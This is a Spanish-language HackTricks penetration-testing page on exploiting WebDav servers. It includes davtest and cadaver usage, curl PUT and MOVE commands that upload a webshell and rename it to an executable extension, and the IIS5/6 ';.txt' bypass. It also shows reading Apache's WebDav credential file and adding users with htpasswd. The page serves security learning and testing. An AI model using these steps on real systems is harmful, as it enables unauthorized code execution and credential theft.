WebDav

Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. Obtén acceso hoy:

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Al tratar con un servidor HTTP con WebDav habilitado, es posible manipular archivos si tienes las credenciales correctas, generalmente verificadas a través de HTTP Basic Authentication. Obtener control sobre dicho servidor a menudo implica la carga y ejecución de un webshell.

El acceso al servidor WebDav generalmente requiere credenciales válidas, siendo el bruteforce de WebDav un método común para adquirirlas.

Para superar las restricciones en las cargas de archivos, especialmente aquellas que impiden la ejecución de scripts del lado del servidor, podrías:

  • Cargar archivos con extensiones ejecutables directamente si no están restringidos.

  • Renombrar archivos no ejecutables cargados (como .txt) a una extensión ejecutable.

  • Copiar archivos no ejecutables cargados, cambiando su extensión a una que sea ejecutable.

DavTest

Davtest intenta cargar varios archivos con diferentes extensiones y verificar si la extensión es ejecutada:

davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Esto no significa que las extensiones .txt y .html se estén ejecutando. Esto significa que puedes acceder a estos archivos a través de la web.

Cadaver

Puedes usar esta herramienta para conectarte al servidor WebDav y realizar acciones (como subir, mover o eliminar) manualmente.

cadaver <IP>

Solicitud PUT

curl -T 'shell.txt' 'http://$ip'

Solicitud MOVE

curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

Usa Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. Obtén acceso hoy:

Vulnerabilidad de WebDav en IIS5/6

Esta vulnerabilidad es muy interesante. El WebDav no permite subir o renombrar archivos con la extensión .asp. Pero puedes eludir esto agregando al final del nombre ";.txt" y el archivo será ejecutado como si fuera un archivo .asp (también podrías usar ".html" en lugar de ".txt" pero NO olvides el ";").

Luego puedes subir tu shell como un archivo ".txt" y copiar/moverlo a un archivo ".asp;.txt". Al acceder a ese archivo a través del servidor web, será ejecutado (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).

Credenciales post

Si el Webdav estaba usando un servidor Apache, deberías mirar los sitios configurados en Apache. Comúnmente: /etc/apache2/sites-enabled/000-default

Dentro podrías encontrar algo como:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

Como puedes ver, hay archivos con las credenciales válidas para el servidor webdav:

/etc/apache2/users.password

Dentro de este tipo de archivos encontrarás el nombre de usuario y un hash de la contraseña. Estas son las credenciales que el servidor webdav está utilizando para autenticar a los usuarios.

Puedes intentar crackearlas, o agregar más si por alguna razón deseas acceder al servidor webdav:

htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

Para verificar si las nuevas credenciales están funcionando, puedes hacer:

wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Referencias

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Usa Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo. Obtén acceso hoy:

Last updated